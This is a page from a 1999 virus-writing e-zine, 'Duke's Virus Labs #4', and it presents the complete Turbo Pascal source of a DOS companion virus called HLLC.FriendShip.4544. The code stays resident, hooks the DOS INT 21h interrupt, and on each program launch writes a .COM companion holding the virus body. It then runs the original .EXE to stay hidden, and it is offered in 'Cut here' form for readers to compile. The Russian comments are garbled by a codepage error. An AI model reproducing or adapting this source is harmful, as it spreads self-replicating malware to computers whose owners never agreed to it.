- [Duke's Virus Labs #4] - [Page 10] -

HLLC.FriendShip.4544
(c) by Tankist/Hell13


     : HLLC.FriendShip.4544
         : Tankist/Hell13
 ண.   : Turbo Pascal 7.0
 ᮧ : 29.01.99


 १ -⭨, ᮧ騩 -⭨   ᪠
᫥  -䠩.  ⮨ ᪠   䠩  ७ .

===== Cut here =====
{$M 5000, 0, 5000}

uses dos;
const virsize=4544;                         { }
      com:string[3]='com';                  { ⠪  ⭨}
var
 d:dirstr;                                  {६  童 }
 n:namestr;
 e:extstr;
 g:file;
 mas:array[1..virsize] of byte;             {⥫ }
 st,PN:string[80];                          { ࠧ}
 Int21h, P: pointer;                        {  뢠}
 A: pointer absolute 0:$84;
 B: pointer absolute 0:$184;
 R: Registers;
 ch:byte;

{$F+}
procedure My21h(Flags,CS,IP,AX,BX,CX,DX,SI,DI,DS,ES,BP:Word); interrupt;
begin
  if AX = $4B00 then                    {᫨ - - ⨫...}
  begin
    Move(Ptr(DS, DX)^, PN[1], 80);      {砥  ⮣,  ⨫}
    PN[0] := #$FF;
    PN[0] := Char(Pos(#0, PN) - 1);
    move(com[1],PN[byte(PN[0])-2],3);   {砥  ⭨}
    assign(g,PN);{$I-}reset(g,1);{$I+}
    if ioresult<>0 then                 { ⭨?.. 㤥!}
     begin
      randomize;
      rewrite(g,1);
      blockwrite(g,mas,virsize);        {⥯ }
      repeat                            {   ஬}
       ch:=random(256);
       blockwrite(g,ch,1);
      until ch>250;
     end;
    close(g);
  end;
  R.Flags := Flags; R.AX := AX;                   { INT21h }
  R.BX := BX; R.CX := CX; R.DX := DX; R.SI := SI; { }
  R.DI := DI; R.DS := DS; R.ES := ES; R.BP := BP;
  inline($FA); P := B; B := Int21h; inline($FB);
  Intr($61, R);
  inline($FA); B := P; inline($FB);
  Flags := R.Flags; AX := R.AX;
  BX := R.BX; CX := R.CX; DX := R.DX; SI := R.SI;
  DI := R.DI; DS := R.DS; ES := R.ES; BP := R.BP;
end;
{$F-}

begin
 fsplit(paramstr(0),d,n,e);          {   ⨫}
 st:=d+n+'.exe';
 assign(g,st);{$I-}reset(g);{$I+}
 if ioresult=0 then                  {宧鶴 ?}
  begin                              {⮣  ࠡ⠥}
   close(g);
   pn:='';
   for ch:=1 to ParamCount do
    pn:=pn+paramstr(ch)+' ';
   exec(st,pn);
  end;
 assign(g,paramstr(0));
 reset(g,1);
 seek(g,0);
 blockread(g,mas,virsize);           {⠥ }
 close(g);
 SwapVectors;                        {蠥  21- 뢠}
 inline($FA);
 Int21h := A;
 A := @My21h;
 inline($FB);
 Keep(0);                            {⠥  }
end.                                 {Happy end!}
===== Cut here =====
